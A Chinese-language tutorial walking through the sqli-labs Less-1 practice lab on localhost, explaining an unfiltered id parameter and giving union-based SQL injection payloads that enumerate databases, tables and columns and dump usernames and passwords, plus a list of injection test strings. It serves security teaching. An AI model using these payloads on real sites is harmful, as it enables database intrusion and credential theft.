页面源代码分析:
定义了一个变量$id来接受通过GET方式传递来的id值,在变量$sql里没有进行过滤直接把用户输入的id值传入了进去,当用户传入恶意id参数1'的时候变量$sql里就变成了这样:
if(isset($_GET['id']))
{
$id=$_GET['1''];
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.1'."\n");
fclose($fp);
$sql="SELECT * FROM users WHERE id='1'' LIMIT 0,1";
当它进行数据查询的时候我们的单引号把前面的语句进行闭合了,它自带的单引号就空了出来,查询就会报错。
下面开始就开始利用吧
一.在get请求传参后面输入一个测试符号',显示数据库报错,这样可以判断出这里存在注入点
http://127.0.0.1:6868/sqli-labs-master/Less-1/?id=1'
二.这里是有回显的情况下,所以我们需要判断显示位有哪些,payload:
http://127.0.0.1:6868/sqli-labs-master/Less-1/?id=1' order by 3 --+
order by: 判断显示位是多少(利用2分法来合理判断,当超出范围它会报错,这样来进行判断)
--+: 用来注释后面多余的字符,有时候可以用#,%27
三.下面开始检查页面上的显示位,把get传入的参数改为一个不存在的数,构造payload:
http://127.0.0.1:6868/sqli-labs-master/Less-1/?id=1' union select 1,2,3 --+
union: 操作符用于合并两个或多个 SELECT 语句的结果集。
三.构造查询语句并显示在2个能显示的地方,payload:
http://127.0.0.1:6868/sqli-labs-master/Less-1/?id=-1' union select 1,database(),user() --+
database() : 当前数据库名
user() : 当前用户名
version() : MySQL 版本
@@datadir : 数据库路径
@@version_compile_os :操作系统版本
四.爆取所有的数据库名称,payload:
http://127.0.0.1:6868/sqli-labs-master/Less-1/
?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata --+
information_schema : 好像是mysql5.0开始就有的一个库,可以方便查询
group_concat : 把所有的名字显示出来,只站一个位(数据库可能是很多个,而显示位只有1个)
五.选择自己需要查询的数据库,查询库里的数据,payload:
http://127.0.0.1:6868/sqli-labs-master/Less-1/
?id=-1' union select 1,group_concat(table_name), 3 from information_schema.tables where
table_schema='security'--+
where : 后面加的是条件,这里意思是当数据库等于security
六.一看有个users一般是存放用户账号密码的,我们爆取里面的数据,payload:
http://127.0.0.1:6868/sqli-labs-master/Less-1/
?id=-1' union select 1,group_concat(column_name), 3 from information_schema.columns where
table_schema='security' and table_name='users'--+
7.数据库知道了,表知道了,字段也知道了,下面就开始爆取数据,payload:
http://127.0.0.1:6868/sqli-labs-master/Less-1/
?id=-1' union select 1,group_concat(username),group_concat(password) from security.users--+
注:这里只是一种情况,有可能其他开发者写的源代码不是用的单引号,那么我们就要更换方法了,要灵活运用
常用的检测语句:
or 1=1--+
'or 1=1--+
"or 1=1--+
)or 1=1--+
')or 1=1--+
") or 1=1--+
"))or 1=1--+
and xor or
感谢各位大佬赏脸,有什么不足的地方请多多指教,欢迎意见轰炸,谢谢!!!